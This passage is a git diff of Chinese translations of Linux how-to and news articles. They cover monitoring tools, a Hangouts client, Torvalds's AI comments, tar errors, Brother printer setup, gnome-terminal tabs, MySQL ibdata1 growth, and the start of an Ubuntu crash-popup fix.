+### 深入 ### + +关于Linux最棒的一件事之一是你能深入操作系统,来探索它是如何工作的,并寻找机会来微调性能或诊断问题。这里有一些基本的命令行工具,让你能更简单地探索和操作Linux。大多数的这些命令是在你的Linux系统中已经内建的,但假如它们没有的话,就用谷歌搜索命令名和你的发行版名吧,你会找到哪些包需要安装(注意,一些命令是和其它命令捆绑起来打成一个包的,你所找的包可能写的是其它的名字)。如果你知道一些你所使用的其它工具,欢迎评论。 + + +### 我们怎么开始 ### + +![](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-2-100591901-orig.png) + +须知: 本文中的截图取自一台[Debian Linux 8.1][1] (“Jessie”),其运行在[OS X 10.10.3][3] (“Yosemite”)操作系统下的[Oracle VirtualBox 4.3.28][2]中的一台虚拟机里。想要建立你的Debian虚拟机,可以看看我的这篇教程——“[如何在 VirtualBox VM 下安装 Debian][4]”。 + + +### Top ### + +![](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-3-100591902-orig.png) + +作为Linux系统监控工具中比较易用的一个,**top命令**能带我们一览Linux中的几乎每一处。以下这张图是它的默认界面,但是按“z”键可以切换不同的显示颜色。其它热键和命令则有其它的功能,例如显示概要信息和内存信息(第四行第二个),根据各种不一样的条件排序、终止进程任务等等(你可以在[这里][5]找到完整的列表)。 + + +### htop ### + +![](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-4-100591904-orig.png) + +相比top,它的替代品Htop则更为精致。维基百科是这样描述的:“用户经常会部署htop以免Unix top不能提供关于系统进程的足够信息,比如说当你在尝试发现应用程序里的一个小的内存泄露问题,Htop一般也能作为一个系统监听器来使用。相比top,它提供了一个更方便的光标控制界面来向进程发送信号。” (想了解更多细节猛戳[这里][6]) + + +### Vmstat ### + +![](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-5-100591903-orig.png) + +Vmstat是一款监控Linux系统性能数据的简易工具,这让它更合适使用在shell脚本中。使出你的正则表达式绝招,用vmstat和cron作业来做一些激动人心的事情吧。“后面的报告给出的是上一次系统重启之后的均值,另外一份报告给出的则是从前一个报告起间隔周期中的信息。其它的进程和内存报告是那个瞬态的情况”(猛戳[这里][7]获取更多信息)。 + +### ps ### + +![](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-6-100591905-orig.png) + +ps命令展现的是正在运行中的进程列表。在这种情况下,我们用“-e”选项来显示每个进程,也就是所有正在运行的进程了(我把列表滚动到了前面,否则列名就看不到了)。这个命令有很多选项允许你去按需格式化输出。只要使用上述一点点的正则表达式技巧,你就能得到一个强大的工具了。猛戳[这里][8]获取更多信息。 + +### Pstree ### + +![](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-7-100591906-orig.png) + +Pstree“以树状图显示正在运行中的进程。这个进程树是以某个 pid 为根节点的,如果pid被省略的话那树是以init为根节点的。如果指定用户名,那所有进程树都会以该用户所属的进程为父进程进行显示。”以树状图来帮你将进程之间的所属关系进行分类,这的确是个很有效的工具(戳[这里][9])。 + +### pmap ### + +![](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-8-100591907-orig.png) + +在调试过程中,理解一个应用程序如何使用内存是至关重要的,而pmap的作用就是当给出一个进程ID时显示出相关信息。上面的截图展示的是使用“-x”选项所产生的部分输出,你也可以用pmap的“-X”选项来获取更多的细节信息,但是前提是你要有个更宽的终端窗口。 + +### iostat ### + +![](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-9-100591900-orig.png) + +Linux系统的一个至关重要的性能指标是处理器和存储的使用率,它也是iostat命令所报告的内容。如同ps命令一样,iostat有很多选项允许你选择你需要的输出格式,除此之外还可以在某一段时间范围内的重复采样几次。详情请戳[这里][10]。 + +-------------------------------------------------------------------------------- + +via: http://www.networkworld.com/article/2937219/linux/7-command-line-tools-for-monitoring-your-linux-system.html + +作者:[Mark Gibbs][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.networkworld.com/author/Mark-Gibbs/ +[1]:https://www.debian.org/releases/stable/ +[2]:https://www.virtualbox.org/ +[3]:http://www.apple.com/osx/ +[4]:http://www.networkworld.com/article/2937148/how-to-install-debian-linux-8-1-in-a-virtualbox-vm +[5]:http://linux.die.net/man/1/top +[6]:http://linux.die.net/man/1/htop +[7]:http://linuxcommand.org/man_pages/vmstat8.html +[8]:http://linux.die.net/man/1/ps +[9]:http://linux.die.net/man/1/pstree +[10]:http://linux.die.net/man/1/iostat diff --git a/published/201507/20150709 Install Google Hangouts Desktop Client In Linux.md b/published/201507/20150709 Install Google Hangouts Desktop Client In Linux.md new file mode 100644 index 0000000000..4adca83c52 --- /dev/null +++ b/published/201507/20150709 Install Google Hangouts Desktop Client In Linux.md @@ -0,0 +1,68 @@ +在 Linux 中安装 Google 环聊桌面客户端 +================================================================================ + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/google-hangouts-header-664x374.jpg) + +先前,我们已经介绍了如何[在 Linux 中安装 Facebook Messenger][1] 和[WhatsApp 桌面客户端][2]。这些应用都是非官方的应用。今天,我将为你推荐另一款非官方的应用,它就是 [Google 环聊][3] + +当然,你可以在 Web 浏览器中使用 Google 环聊,但相比于此,使用桌面客户端会更加有趣。好奇吗?那就跟着我看看如何 **在 Linux 中安装 Google 环聊** 以及如何使用它吧。 + +### 在 Linux 中安装 Google 环聊 ### + +我们将使用一个名为 [yakyak][4] 的开源项目,它是一个针对 Linux,Windows 和 OS X 平台的非官方 Google 环聊客户端。我将向你展示如何在 Ubuntu 中使用 yakyak,但我相信在其他的 Linux 发行版本中,你可以使用同样的方法来使用它。在了解如何使用它之前,让我们先看看 yakyak 的主要特点: + +- 发送和接受聊天信息 +- 创建和更改对话 (重命名, 添加参与者) +- 离开或删除对话 +- 桌面提醒通知 +- 打开或关闭通知 +- 对于图片上传,支持拖放,复制粘贴或使用上传按钮 +- Hangupsbot 房间同步(使用用户实际的图片) +- 展示行内图片 +- 翻阅历史 + +听起来不错吧,你可以从下面的链接下载到该软件的安装文件: + +- [下载 Google 环聊客户端 yakyak][5] + +下载的文件是压缩的。解压后,你将看到一个名称类似于 linux-x64 或 linux-x32 的目录,其名称取决于你的系统。进入这个目录,你应该可以看到一个名为 yakyak 的文件。双击这个文件来启动它。 + +![在 Linux 中运行 Run Google 环聊](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/Google_Hangout_Linux_3.jpeg) + +当然,你需要键入你的 Google 账号来认证。 + +![在 Ubuntu 中设置 Google 环聊](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/Google_Hangout_Linux_2.jpeg) + +一旦你通过认证后,你将看到如下的画面,在这里你可以和你的 Google 联系人进行聊天。 + +![Google_Hangout_Linux_4](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/Google_Hangout_Linux_4.jpeg) + +假如你想在联系人里面显示用户头像,你可以选择 `查看-> 展示对话缩略图` + +![Google 环聊缩略图](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/Google_Hangout_Linux_5.jpeg) + +当有新的信息时,你将得到桌面提醒。 + +![在 Ubuntu 中 Google 环聊的桌面提醒](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/Google_Hangout_Linux_1.jpeg) + +### 值得一试吗? ### + +我让你尝试一下,并决定 **在 Linux 中安装 Google 环聊客户端** 是否值得。若你想要官方的应用,你可以看看这些 [拥有原生 Linux 客户端的即时消息应用程序][6]。不要忘记分享你在 Linux 中使用 Google 环聊的体验。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-google-hangouts-linux/ + +作者:[Abhishek][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/facebook-messenger-linux/ +[2]:http://itsfoss.com/whatsapp-linux-desktop/ +[3]:http://www.google.com/+/learnmore/hangouts/ +[4]:https://github.com/yakyak/yakyak +[5]:https://github.com/yakyak/yakyak +[6]:http://itsfoss.com/best-messaging-apps-linux/ diff --git a/published/201507/20150709 Linus Torvalds Says People Who Believe in AI Singularity Are on Drugs.md b/published/201507/20150709 Linus Torvalds Says People Who Believe in AI Singularity Are on Drugs.md new file mode 100644 index 0000000000..727da304a0 --- /dev/null +++ b/published/201507/20150709 Linus Torvalds Says People Who Believe in AI Singularity Are on Drugs.md @@ -0,0 +1,33 @@ +Linus Torvalds说那些对人工智能奇点深信不疑的人显然磕了药 +================================================================================ +*像往常一样, 他的评论不能只看字面意思* + +![](http://i1-news.softpedia-static.com/images/news2/linus-torvalds-says-people-who-believe-in-an-ai-singularity-are-on-drugs-486373-2.jpg) + +**人工智能是一个非常热门的话题,许多高端人士,包括特斯拉的CEO埃隆·马斯克就曾表示有情感的人工智能技术即将到来,同时这一技术将发展到危险的门槛上。不过Linus Torvalds显然不这么认为,他认为那只是差劲的科幻小说。** + +人工智能激发了人们的创造力已经不是什么新鲜的想法了,不过近段时间关于所谓的人工智能奇点的讨论,引起了诸如埃隆·马斯克和斯蒂芬·霍金表示关心,认为可能会创造出一个怪兽。不只是他们,论坛和评论部分充斥着杞人忧天者,他们不知道该相信谁,或是哪个提出建议的人更聪明。 + +事实证明Linux项目创始人Linus Torvalds在这件事上显然有完全不同的观点。他说事实上什么都不会发生,我们也更有理由相信他。人工智能意需要有人编写它的代码,Linus知道编写人工智能代码会遇到的阻力和障碍。他很有可能已经猜到了什么会被涉及到,并且明白为什么人工智能不会成为威胁。 + +### Linus Torvalds与人工智能 ### + +Linus Torvalds在[slashdot.org][1]上回答了一些社区中的问题,他的所有观点都十分有趣。他曾对[游戏的未来和Valve][2]发表看法,就像这次关于人工智能一样。虽然他经常是关注一些关于内核和开源的问题,但是他在其他部分也有自己的见解。事实是作为一个问题,人工智能工程是一个他可以从程序员的角度讨论的问题。 + +“所以我期待更多有针对性的(和相当棒的)AI,而不是它有多像人。像语言识别、模式识别,这样的东西。我根本找不出在你洗碗的时候,洗碗机和你讨论Sartre(萨特,法国哲学家、小说家、剧作家)有什么危害。真的有‘奇点’这种事吗?是的,我认为那只是科幻小说,还不是好的那种。无休止的指数增长?我说,真的!这些人嗑了什么药了吧?” Linus在Slashdot写道。 + +选择相信埃隆·马斯克还是Linus是你的决定,但如果我卷入了这场赌局,我会把钱投给Linus。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/linus-torvalds-says-people-who-believe-in-an-ai-singularity-are-on-drugs-486373.shtml + +作者:[Silviu Stahie][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://classic.slashdot.org/story/15/06/30/0058243 +[2]:http://news.softpedia.com/news/linus-torvalds-said-valve-is-exploring-a-second-source-against-microsoft-486266.shtml diff --git a/published/201507/20150709 Linux FAQs with Answers--How to fix 'tar--Exiting with failure status due to previous errors'.md b/published/201507/20150709 Linux FAQs with Answers--How to fix 'tar--Exiting with failure status due to previous errors'.md new file mode 100644 index 0000000000..bcf1dfec3f --- /dev/null +++ b/published/201507/20150709 Linux FAQs with Answers--How to fix 'tar--Exiting with failure status due to previous errors'.md @@ -0,0 +1,34 @@ +Linux常见问题解答--如何修复"tar:由于前一个错误导致于失败状态中退出" +================================================================================ +> **问题**: 当我想试着用tar命令来创建一个压缩文件时,总在执行过程中失败,并且抛出一个错误说明"tar:由于前一个错误导致于失败状态中退出"("Exiting with failure status due to previous errors"). 什么导致这个错误的发生,要如何解决? + +![](https://farm9.staticflickr.com/8863/17631029953_1140fe2dd3_b.jpg) + +如果当你执行tar命令时,遇到了下面的错误,那么最有可能的原因是对于你想用tar命令压缩的某个文件中,你并不具备其读权限。 + + tar: Exiting with failure status due to previous errors + +那么我们要如何确定引起错误的这个(些)文件呢?或者如何确定其它的错误根源? + +事实上tar命令应该会打印出所谓的“上一个错误”("previous errors")到底是什么错误,但是如果你让tar运行在详细模式(即verbose mode,例如, -cvf),那么你会很容易错失这些信息。要找到这些信息,你可以像下面那样,把tar的标准输出(stdout)信息过滤掉。 + + $ tar cvzfz backup.tgz my_program/ > /dev/null + +然后你会看到tar输出的标准错误(stderr)信息。(LCTT 译注:自然,不用 v 参数也可以。) + + tar: my_program/src/lib/.conf.db.~lock~: Cannot open: Permission denied + tar: Exiting with failure status due to previous errors + +你可以从上面的例子中看到,引起错误的原因的确是“读权限不允许”(denied read permission.)要解决这个问题,只要简单地更改(或移除)问题文件的权限,然后重新执行tar命令即可。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/tar-exiting-with-failure-status-due-to-previous-errors.html + +作者:[Dan Nanni][a] +译者:[XLCYun(袖里藏云)](https://github.com/XLCYun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni diff --git a/published/201507/20150709 Linux FAQs with Answers--How to install a Brother printer on Linux.md b/published/201507/20150709 Linux FAQs with Answers--How to install a Brother printer on Linux.md new file mode 100644 index 0000000000..987df67ed6 --- /dev/null +++ b/published/201507/20150709 Linux FAQs with Answers--How to install a Brother printer on Linux.md @@ -0,0 +1,110 @@ +Linux有问必答:如何为在Linux中安装兄弟牌打印机 +================================================================================ +> **提问**: 我有一台兄弟牌HL-2270DW激光打印机,我想从我的Linux机器上打印文档。我该如何在我的电脑上安装合适的驱动并使用它? + +兄弟牌以买得起的[紧凑型激光打印机][1]而闻名。你可以用低于200美元的价格得到高质量的WiFi/双工激光打印机,而且价格还在下降。最棒的是,它们还提供良好的Linux支持,因此你可以在Linux中下载并安装它们的打印机驱动。我在一年前买了台[HL-2270DW][2],我对它的性能和可靠性都很满意。 + +下面是如何在Linux中安装和配置兄弟打印机驱动。本篇教程中,我会演示安装HL-2270DW激光打印机的USB驱动。 + +首先通过USB线连接你的打印机到Linux上。 + +### 准备 ### + +在准备阶段,进入[兄弟官方支持网站][3],输入你的型号(比如:HL-2270DW)搜索你的兄弟打印机型号。 + +![](https://farm1.staticflickr.com/301/18970034829_6f3a48d817_c.jpg) + +进入下面页面后,选择你的Linux平台。对于Debian、Ubuntu或者其他衍生版,选择“Linux (deb)”。对于Fedora、CentOS或者RHEL选择“Linux (rpm)”。 + +![](https://farm1.staticflickr.com/380/18535558583_cb43240f8a_c.jpg) + +下一页,你会找到你打印机的LPR驱动和CUPS包装器驱动。前者是命令行驱动,后者允许你通过网页管理和配置你的打印机。尤其是基于CUPS的图形界面对(本地、远程)打印机维护非常有用。建议你安装这两个驱动。点击“Driver Install Tool”下载安装文件。 + +![](https://farm1.staticflickr.com/329/19130013736_1850b0d61e_c.jpg) + +运行安装文件之前,你需要在64位的Linux系统上做另外一件事情。 + +因为兄弟打印机驱动是为32位的Linux系统开发的,因此你需要按照下面的方法安装32位的库。 + +在早期的Debian(6.0或者更早期)或者Ubuntu(11.04或者更早期),安装下面的包。 + + $ sudo apt-get install ia32-libs + +对于已经引入多架构的新的Debian或者Ubuntu而言,你可以安装下面的包: + + $ sudo apt-get install lib32z1 lib32ncurses5 + +上面的包代替了ia32-libs包。或者你只需要安装: + + $ sudo apt-get install lib32stdc++6 + +如果你使用的是基于Red Hat的Linux,你可以安装: + + $ sudo yum install glibc.i686 + +### 驱动安装 ### + +现在解压下载的驱动文件。 + + $ gunzip linux-brprinter-installer-2.0.0-1.gz + +接下来像下面这样运行安装文件。 + + $ sudo sh ./linux-brprinter-installer-2.0.0-1 + +你会被要求输入打印机的型号。输入你打印机的型号,比如“HL-2270DW”。 + +![](https://farm1.staticflickr.com/292/18535599323_1a94f6dae5_b.jpg) + +同意GPL协议之后,接受接下来的任何默认问题。 + +![](https://farm1.staticflickr.com/526/19130014316_5835939501_b.jpg) + +现在LPR/CUPS打印机驱动已经安装好了。接下来要配置你的打印机了。 + +### 打印机配置 ### + +我接下来就要通过基于CUPS的网页管理和配置兄弟打印机了。 + +首先验证CUPS守护进程已经启动。 + + $ sudo netstat -nap | grep 631 + +打开一个浏览器输入 http://localhost:631 。你会看到下面的打印机管理界面。 + +![](https://farm1.staticflickr.com/324/18968588688_202086fc72_c.jpg) + +进入“Administration”选项卡,点击打印机选项下的“Manage Printers”。 + +![](https://farm1.staticflickr.com/484/18533632074_0526cccb86_c.jpg) + +你一定在下面的页面中看到了你的打印机(HL-2270DW)。点击打印机名。 + +在下拉菜单“Administration”中,选择“Set As Server Default”。这会设置你的打印机位系统默认打印机。 + +![](https://farm1.staticflickr.com/472/19150412212_b37987c359_c.jpg) + +当被要求验证时,输入你的Linux登录信息。 + +![](https://farm1.staticflickr.com/511/18968590168_807e807f73_c.jpg) + +现在基础配置已经基本完成了。为了测试打印,打开任何文档浏览程序(比如:PDF浏览器)并打印。你会看到“HL-2270DW”被列出并被作为默认的打印机设置。 + +![](https://farm4.staticflickr.com/3872/18970034679_6d41d75bf9_c.jpg) + +打印机应该可以工作了。你可以通过CUPS的网页看到打印机状态和管理打印机任务。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-brother-printer-linux.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://xmodulo.com/go/brother_printers +[2]:http://xmodulo.com/go/hl_2270dw +[3]:http://support.brother.com/ diff --git a/published/201507/20150709 Linux FAQs with Answers--How to open multiple tabs in a GNOME terminal on Ubuntu 15.04.md b/published/201507/20150709 Linux FAQs with Answers--How to open multiple tabs in a GNOME terminal on Ubuntu 15.04.md new file mode 100644 index 0000000000..8129221b81 --- /dev/null +++ b/published/201507/20150709 Linux FAQs with Answers--How to open multiple tabs in a GNOME terminal on Ubuntu 15.04.md @@ -0,0 +1,38 @@ +Linux有问必答:如何在 Ubuntu 15.04 的 GNOME 终端中开启多个标签 +================================================================================ +> **问**: 我以前可以在我的 Ubuntu 台式机中的 gnome-terminal 中开启多个标签。但升到 Ubuntu 15.04 后,我就无法再在 gnome-terminal 窗口中打开新标签了。要怎样做才能在 Ubuntu 15.04 的 gnome-terminal 中打开标签呢? + +在 Ubuntu 14.10 或之前的版本中,gnome-terminal 允许你在终端窗口中开启一个新标签或一个终端窗口。但从 Ubuntu 15.04开始,gnome-terminal 移除了“新标签”选项。这实际上并不是一个 bug,而是一个合并新标签和新窗口的举措。GNOME 3.12 引入了[单独的“开启终端”选项][1]。开启新终端标签的功能从终端菜单移动到了首选项中。 + +![](https://farm1.staticflickr.com/562/19286510971_f0abe3e7fb_b.jpg) + +### 偏好设置中的开启新标签 ### + +要在 Ubuntu 15.04 的 gnome-terminal中开启新标签,选择“编辑” -> “首选项",并把“开启新终端:窗口”改为“开启新终端:标签”。 + +![](https://farm1.staticflickr.com/329/19256530766_ff692b83bc_b.jpg) + +如果现在你通过菜单开启新终端,就会显示在当前终端中的一个新标签页中。 + +![](https://farm4.staticflickr.com/3820/18662051223_3296fde8e4_b.jpg) + +### 通过键盘快捷键开启标签 ### + +如果你不想更改首选项,你可以按住 临时改变设置。比如,在默认情况下,在点击“新终端”的同时按住 ,终端就会在新标签中打开而不是开启新的终端。 + +另外,你还可以使用键盘快捷键 在终端中开启新标签。 + +在我看来,gnome-terminal 此番在 UI 上的改变并非一个进步。比如,你无法自定义终端中各个标签的标题了。当你在一个终端中打开了多个标签时,这个功能会很有用。而如果终端名称保持默认标题(并不断变长)时,你就不能在有限的标题空间里看见终端的标题了。希望能被尽早加入这个功能。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/open-multiple-tabs-gnome-terminal-ubuntu.html + +作者:[Dan Nanni][a] +译者:[KevinSJ](https://github.com/KevinSJ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://worldofgnome.org/opening-a-new-terminal-tabwindow-in-gnome-3-12/ diff --git a/published/201507/20150709 Why is the ibdata1 file continuously growing in MySQL.md b/published/201507/20150709 Why is the ibdata1 file continuously growing in MySQL.md new file mode 100644 index 0000000000..64f74aecb0 --- /dev/null +++ b/published/201507/20150709 Why is the ibdata1 file continuously growing in MySQL.md @@ -0,0 +1,114 @@ +为什么 mysql 里的 ibdata1 文件不断的增长? +================================================================================ +![ibdata1 file](https://www.percona.com/blog/wp-content/uploads/2013/08/ibdata1-file.jpg) + +我们在 [Percona 支持栏目][1]经常收到关于 MySQL 的 ibdata1 文件的这个问题。 + +当监控服务器发送一个关于 MySQL 服务器存储的报警时,恐慌就开始了 —— 就是说磁盘快要满了。 + +一番调查后你意识到大多数地盘空间被 InnoDB 的共享表空间 ibdata1 使用。而你已经启用了 [innodb\_file\_per\_table][2],所以问题是: + +### ibdata1存了什么? ### + +当你启用了 `innodb_file_per_table`,表被存储在他们自己的表空间里,但是共享表空间仍然在存储其它的 InnoDB 内部数据: + +- 数据字典,也就是 InnoDB 表的元数据 +- 变更缓冲区 +- 双写缓冲区 +- 撤销日志 + +其中的一些在 [Percona 服务器][3]上可以被配置来避免增长过大的。例如你可以通过 [innodb\_ibuf\_max\_size][4] 设置最大变更缓冲区,或设置 [innodb\_doublewrite\_file][5] 来将双写缓冲区存储到一个分离的文件。 + +MySQL 5.6 版中你也可以创建外部的撤销表空间,所以它们可以放到自己的文件来替代存储到 ibdata1。可以看看这个[文档][6]。 + +### 什么引起 ibdata1 增长迅速? ### + +当 MySQL 出现问题通常我们需要执行的第一个命令是: + + SHOW ENGINE INNODB STATUS/G + +这将展示给我们一些很有价值的信息。我们从** TRANSACTION(事务)**部分开始检查,然后我们会发现这个: + + ---TRANSACTION 36E, ACTIVE 1256288 sec + MySQL thread id 42, OS thread handle 0x7f8baaccc700, query id 7900290 localhost root + show engine innodb status + Trx read view will not see trx with id >= 36F, sees < 36F + +这是一个最常见的原因,一个14天前创建的相当老的事务。这个状态是**活动的**,这意味着 InnoDB 已经创建了一个数据的快照,所以需要在**撤销**日志中维护旧页面,以保障数据库的一致性视图,直到事务开始。如果你的数据库有大量的写入任务,那就意味着存储了大量的撤销页。 + +如果你找不到任何长时间运行的事务,你也可以监控INNODB STATUS 中的其他的变量,“**History list length(历史记录列表长度)**”展示了一些等待清除操作。这种情况下问题经常发生,因为清除线程(或者老版本的主线程)不能像这些记录进来的速度一样快地处理撤销。 + +### 我怎么检查什么被存储到了 ibdata1 里了? ### + +很不幸,MySQL 不提供查看什么被存储到 ibdata1 共享表空间的信息,但是有两个工具将会很有帮助。第一个是马克·卡拉汉制作的一个修改版 innochecksum ,它发布在[这个漏洞报告][7]里。 + +它相当易于使用: + + # ./innochecksum /var/lib/mysql/ibdata1 + 0 bad checksum + 13 FIL_PAGE_INDEX + 19272 FIL_PAGE_UNDO_LOG + 230 FIL_PAGE_INODE + 1 FIL_PAGE_IBUF_FREE_LIST + 892 FIL_PAGE_TYPE_ALLOCATED + 2 FIL_PAGE_IBUF_BITMAP + 195 FIL_PAGE_TYPE_SYS + 1 FIL_PAGE_TYPE_TRX_SYS + 1 FIL_PAGE_TYPE_FSP_HDR + 1 FIL_PAGE_TYPE_XDES + 0 FIL_PAGE_TYPE_BLOB + 0 FIL_PAGE_TYPE_ZBLOB + 0 other + 3 max index_id + +全部的 20608 中有 19272 个撤销日志页。**这占用了表空间的 93%**。 + +第二个检查表空间内容的方式是杰里米·科尔制作的 [InnoDB Ruby 工具][8]。它是个检查 InnoDB 的内部结构的更先进的工具。例如我们可以使用 space-summary 参数来得到每个页面及其数据类型的列表。我们可以使用标准的 Unix 工具来统计**撤销日志**页的数量: + + # innodb_space -f /var/lib/mysql/ibdata1 space-summary | grep UNDO_LOG | wc -l + 19272 + +尽管这种特殊的情况下,innochedcksum 更快更容易使用,但是我推荐你使用杰里米的工具去了解更多的 InnoDB 内部的数据分布及其内部结构。 + +好,现在我们知道问题所在了。下一个问题: + +### 我该怎么解决问题? ### + +这个问题的答案很简单。如果你还能提交语句,就做吧。如果不能的话,你必须要杀掉线程开始回滚过程。那将停止 ibdata1 的增长,但是很显然,你的软件会出现漏洞,有些人会遇到错误。现在你知道如何去鉴定问题所在,你需要使用你自己的调试工具或普通的查询日志来找出谁或者什么引起的问题。 + +如果问题发生在清除线程,解决方法通常是升级到新版本,新版中使用一个独立的清除线程替代主线程。更多信息查看该[文档][9] + +### 有什么方法回收已使用的空间么? ### + +没有,目前还没有一个容易并且快速的方法。InnoDB 表空间从不收缩...参见[10 年之久的漏洞报告][10],最新更新自詹姆斯·戴(谢谢): + +当你删除一些行,这个页被标为已删除稍后重用,但是这个空间从不会被回收。唯一的方法是使用新的 ibdata1 启动数据库。要做这个你应该需要使用 mysqldump 做一个逻辑全备份,然后停止 MySQL 并删除所有数据库、ib_logfile\*、ibdata1\* 文件。当你再启动 MySQL 的时候将会创建一个新的共享表空间。然后恢复逻辑备份。 + +### 总结 ### + +当 ibdata1 文件增长太快,通常是 MySQL 里长时间运行的被遗忘的事务引起的。尝试去解决问题越快越好(提交或者杀死事务),因为不经过痛苦缓慢的 mysqldump 过程,你就不能回收浪费的磁盘空间。 + +也是非常推荐监控数据库以避免这些问题。我们的 [MySQL 监控插件][11]包括一个 Nagios 脚本,如果发现了一个太老的运行事务它可以提醒你。 + +-------------------------------------------------------------------------------- + +via: https://www.percona.com/blog/2013/08/20/why-is-the-ibdata1-file-continuously-growing-in-mysql/ + +作者:[Miguel Angel Nieto][a] +译者:[wyangsun](https://github.com/wyangsun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://www.percona.com/blog/author/miguelangelnieto/ +[1]:https://www.percona.com/products/mysql-support +[2]:http://dev.mysql.com/doc/refman/5.5/en/innodb-parameters.html#sysvar_innodb_file_per_table +[3]:https://www.percona.com/software/percona-server +[4]:https://www.percona.com/doc/percona-server/5.5/scalability/innodb_insert_buffer.html#innodb_ibuf_max_size +[5]:https://www.percona.com/doc/percona-server/5.5/performance/innodb_doublewrite_path.html?id=percona-server:features:percona_innodb_doublewrite_path#innodb_doublewrite_file +[6]:http://dev.mysql.com/doc/refman/5.6/en/innodb-performance.html#innodb-undo-tablespace +[7]:http://bugs.mysql.com/bug.php?id=57611 +[8]:https://github.com/jeremycole/innodb_ruby +[9]:http://dev.mysql.com/doc/innodb/1.1/en/innodb-improved-purge-scheduling.html +[10]:http://bugs.mysql.com/bug.php?id=1341 +[11]:https://www.percona.com/software/percona-monitoring-plugins diff --git a/published/201507/20150713 How To Fix System Program Problem Detected In Ubuntu 14.04.md b/published/201507/20150713 How To Fix System Program Problem Detected In Ubuntu 14.04.md new file mode 100644 index 0000000000..92aa82ac03 --- /dev/null +++ b/published/201507/20150713 How To Fix System Program Problem Detected In Ubuntu 14.04.md @@ -0,0 +1,83 @@ +如何修复 ubuntu 中检测到系统程序错误的问题 +================================================================================ + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/system_program_Problem_detected.jpeg) + +在过去的几个星期,(几乎)每次都有消息 **Ubuntu 15.04在启动时检测到系统程序错误** 跑出来“欢迎”我。那时我是直接忽略掉它的,但是这种情况到了某个时刻,它就让人觉得非常烦人了! + +> 检测到系统程序错误(System program problem detected) +> +> 你想立即报告这个问题吗? +> +> ![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/System_Program_Problem_Detected.png) + + +我肯定地知道如果你是一个Ubuntu用户,你可能曾经也遇到过这个恼人的弹窗。在本文中,我们将探讨在Ubuntu 14.04和15.04中遇到"检测到系统程序错误(system program problem detected)"时 应该怎么办。 +### 怎么解决Ubuntu中"检测到系统程序错误"的错误 ### + +#### 那么这个通知到底是关于什么的? #### + +大体上讲,它是在告知你,你的系统的一部分崩溃了。可别因为“崩溃”这个词而恐慌。这不是一个严重的问题,你的系统还是完完全全可用的。只是在之前的某个时刻某个程序崩溃了,而Ubuntu想让你决定要不要把这个问题报告给开发者,这样他们就能够修复这个问题。 + +#### 那么,我们点了“报告错误”的按钮后,它以后就不再显示了?#### + +不,不是的!即使你点了“报告错误”按钮,最后你还是会被一个如下的弹窗再次“欢迎”一下: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/Ubuntu_Internal_error.png) + +[对不起,Ubuntu发生了一个内部错误][1]是个Apport(LCTT 译注:Apport是Ubuntu中错误信息的收集报告系统,详见Ubuntu Wiki中的Apport篇),它将会进一步的打开网页浏览器,然后你可以通过登录或创建[Launchpad][2]帐户来填写一份漏洞(Bug)报告文件。你看,这是一个复杂的过程,它要花整整四步来完成。 + +#### 但是我想帮助开发者,让他们知道这个漏洞啊 !#### + +你这样想的确非常地周到体贴,而且这样做也是正确的。但是这样做的话,存在两个问题。第一,存在非常高的概率,这个漏洞已经被报告过了;第二,即使你报告了个这次崩溃,也无法保证你不会再看到它。 + +#### 那么,你的意思就是说别报告这次崩溃了?#### + 